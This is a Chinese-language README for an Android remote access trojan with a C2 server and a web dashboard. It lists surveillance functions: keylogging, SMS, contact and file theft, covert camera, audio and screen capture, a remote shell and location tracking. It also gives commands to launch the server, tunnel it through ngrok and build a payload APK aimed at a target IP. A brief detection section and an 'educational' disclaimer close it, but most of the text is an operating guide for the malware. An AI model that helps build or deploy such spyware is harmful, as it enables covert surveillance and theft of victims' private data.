egnake/EgnakeRAT

GitHub: egnake/EgnakeRAT

面向红队和移动安全研究的高级 Android C2 框架,集异步加密通信、实时 Web 管理面板与全面设备监控于一体。

Stars: 18 | Forks: 2

``` ╔══════════════════════════════════════════════════════════════════════════════╗ ║ ███████╗ ██████╗ ███╗ ██╗ █████╗ ██╗ ██╗███████╗██████╗ █████╗ ████████╗ ║ ║ ██╔════╝██╔════╝ ████╗ ██║██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗╚══██╔══╝ ║ ║ █████╗ ██║ ███╗██╔██╗ ██║███████║█████╔╝ █████╗ ██████╔╝███████║ ██║ ║ ║ ██╔══╝ ██║ ██║██║╚██╗██║██╔══██║██╔═██╗ ██╔══╝ ██╔══██╗██╔══██║ ██║ ║ ║ ███████╗╚██████╔╝██║ ╚████║██║ ██║██║ ██╗███████╗██║ ██║██║ ██║ ██║ ║ ║ ╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ║ ╚══════════════════════════════════════════════════════════════════════════════╝ ``` **高级 Android C2 框架 · AES-256 加密 · 实时 Web 仪表盘** [![Python](https://img.shields.io/badge/Python-3.10+-3776AB?style=flat-square&logo=python&logoColor=white)](https://python.org) [![Platform](https://img.shields.io/badge/Target-Android-3DDC84?style=flat-square&logo=android&logoColor=white)](https://developer.android.com) [![Encryption](https://img.shields.io/badge/Crypto-AES--256--CBC-red?style=flat-square&logo=letsencrypt&logoColor=white)]() [![License](https://img.shields.io/badge/License-Educational-yellow?style=flat-square)]() [![Status](https://img.shields.io/badge/Status-Active-success?style=flat-square)]()
## 架构 ``` ┌─────────────────────────────────────────────────────────────┐ │ EgnakeRAT │ ├──────────────────┬──────────────────┬───────────────────────┤ │ C2 TCP Server │ Web Dashboard │ Android Client │ │ (asyncio) │ (Flask+SIO) │ (Java/Kotlin) │ ├──────────────────┼──────────────────┼───────────────────────┤ │ StreamReader/ │ REST API │ Persistent Service │ │ StreamWriter │ Socket.IO WS │ Accessibility Svc │ │ Coroutine-per- │ Real-time events │ Auto-reconnect │ │ connection │ │ Stealth mode │ ├──────────────────┴──────────────────┴───────────────────────┤ │ Shared Layer │ │ ┌──────────┐ ┌───────────────┐ ┌───────────────────┐ │ │ │ Protocol │ │ CryptoManager │ │ Database (SQLite) │ │ │ │ JSON+LPF │ │ AES-256-CBC │ │ WAL mode │ │ │ └──────────┘ └───────────────┘ └───────────────────┘ │ └─────────────────────────────────────────────────────────────┘ ``` ## 功能特性 ### C2 服务器 - **完全异步** — 基于 `asyncio.start_server` 构建,以极低的内存占用处理数千个并发连接 - **AES-256-CBC 加密**通信,并使用 SHA-256 密钥派生 - **长度前缀 JSON 协议** — 4 字节大端序报头 + 加密 payload,单条消息最大 50MB - **自动重连处理** — 清理过期的会话,优雅地终止旧连接 - **Ngrok 隧道支持** — 内置 TCP 隧道用于外部访问 ### Web 仪表盘 - **实时设备管理**,通过 Socket.IO WebSocket 事件实现 - **暗色玻璃拟态 UI**,搭配 Lucide 图标和 Inter/JetBrains Mono 字体排版 - **模块:** 战术命令、远程 Shell、键盘记录器、屏幕流、通知拦截、文件窃取、审计日志 - **Payload 生成器** — 直接从浏览器配置并修补 Android APK - **全局地图** — 基于 Leaflet.js 的设备地理位置追踪 ### Android 客户端功能 | 类别 | 命令 | |---|---| | **侦察** | `deviceInfo`, `getBatteryStatus`, `getWifiInfo`, `getIP`, `getMACAddress`, `getSimDetails`, `getInstalledApps`, `getClipData` | | **监控** | `getLocation`, `getSMS`, `getCallLogs`, `getContacts`, `getNotifications` | | **媒体** | `camList`, `takepic`, `screenshot`, `startAudio/stopAudio`, `startVideo/stopVideo` | | **实时交互** | `startScreenStream/stopScreenStream`, `makeCall`, `sendSMS`, `openUrl`, `showToast`, `vibrate`, `lockScreen` | | **Shell 与文件** | `shell`, `shellCmd`, `fileList`, `fileDownload`, `fileUpload`, `fileDelete` | | **无障碍服务** | `startKeylogger/stopKeylogger`, `readScreen`, `performAction`, `checkAccessibility`, `enableAccessibility` | ### 通信协议 ``` ┌────────────┬──────────────────────────────────┐ │ 4 bytes │ N bytes │ │ Length (BE)│ AES-256-CBC(JSON payload) │ └────────────┴──────────────────────────────────┘ ``` 每一条消息都是一个带有 `type` 字段的 JSON 对象。Payload 使用 AES-256-CBC 加密(预置随机 IV),随后进行 base64 编码,最后加上 4 字节大端序整数作为长度前缀。 **握手流程:** 1. 客户端通过 TCP 建立连接 2. 客户端发送包含 `device_id`、`model`、`android_version`、`key_hash` 的 `handshake` 消息 3. 服务器验证 `key_hash` 是否与 `MD5(SHA256(passphrase))` 匹配 4. 服务器响应 `handshake_ack` 5. 客户端进入心跳循环,服务器可随时下发命令 ## 设置说明 ### 前置条件 - Python 3.10+ - Android Studio(用于构建 APK) ### 安装说明 ``` git clone https://github.com/user/EgnakeRAT.git cd EgnakeRAT pip install -r requirements.txt ``` ### 启动 C2 服务器 ``` # 默认: C2 在端口 8000,Dashboard 在端口 8080 python EgnakeRAT.py server # 自定义端口 python EgnakeRAT.py server -p 9000 -w 3000 # 使用 ngrok 隧道 (用于外部访问) python EgnakeRAT.py server --ngrok # 自定义加密密钥 python EgnakeRAT.py server -k "YourSecurePassphrase" ``` 通过 `http://localhost:8080` 访问仪表盘 ### 构建 Android Payload ``` # 使用目标 IP 和端口配置 APK python EgnakeRAT.py build -i 192.168.1.100 -p 8000 # 使用 ngrok python EgnakeRAT.py build --ngrok # 自定义加密密钥 python EgnakeRAT.py build -i 10.0.0.5 -p 8000 -k "YourSecurePassphrase" ``` 然后在 Android Studio 中打开 `Android_Code/` 目录,运行 `Build → Generate Signed APK`,或者: ``` cd Android_Code && ./gradlew assembleRelease ``` ## 项目结构 ``` EgnakeRAT/ ├── EgnakeRAT.py # Entry point (server + build CLI) ├── requirements.txt ├── server/ │ ├── c2_server.py # Async TCP C2 server + client handler │ ├── protocol.py # Wire protocol constants + pack/unpack │ ├── crypto.py # AES-256-CBC encryption engine │ ├── database.py # SQLite database (WAL mode) │ ├── logger.py # Rich console + file logging │ └── web/ │ ├── app.py # Flask + Socket.IO web dashboard │ ├── static/ │ │ ├── css/dashboard.css │ │ └── js/dashboard.js │ └── templates/ │ └── index.html ├── Android_Code/ # Android client source (Java) ├── Dumps/ # Exfiltrated files (per-device dirs) └── logs/ # Server logs (daily rotation) ``` ## 数据库结构 | 表名 | 用途 | |---|---| | `devices` | 设备注册表(型号、操作系统、IP、电池、WiFi、在线状态) | | `command_history` | 完整的命令审计记录及时间戳 | | `files` | 被窃取文件的元数据 | | `sessions` | 连接会话及连接/断开时间戳 | | `keylogs` | 按应用记录的按键捕获数据 | | `notifications` | 拦截到的设备通知 | ## 防御与检测 了解该工具的运作机制对于防御性安全至关重要: - **网络特征** — 持续连接到非标准端口的 TCP 连接,且包含加密(非 TLS)流量 - **无障碍服务滥用** — 监控哪些应用请求了 `BIND_ACCESSIBILITY_SERVICE` 权限 - **耗电异常** — 屏幕流传输和持续的键盘记录会增加功耗 - **APK 分析** — 可以通过对 APK 进行静态分析来提取硬编码的 C2 IP/端口和 AES 密钥 本项目仅出于**教育和授权安全研究目的**而发布。不提供任何担保。使用风险和责任由使用者自行承担。
标签:AES-256加密, Android恶意软件, C2框架, DOM键盘记录, JS文件枚举, Python, 域名枚举, 安全学习资源, 安全研究与对抗, 安卓远控, 实时Web控制面板, 异步通信, 攻击路径可视化, 数据加密, 无后门, 目录枚举, 移动安全, 移动安全研究, 端到端加密, 网络信息收集, 网络安全, 计算机取证, 远程管理, 逆向工具, 通知拦截, 隐私保护, 黑客工具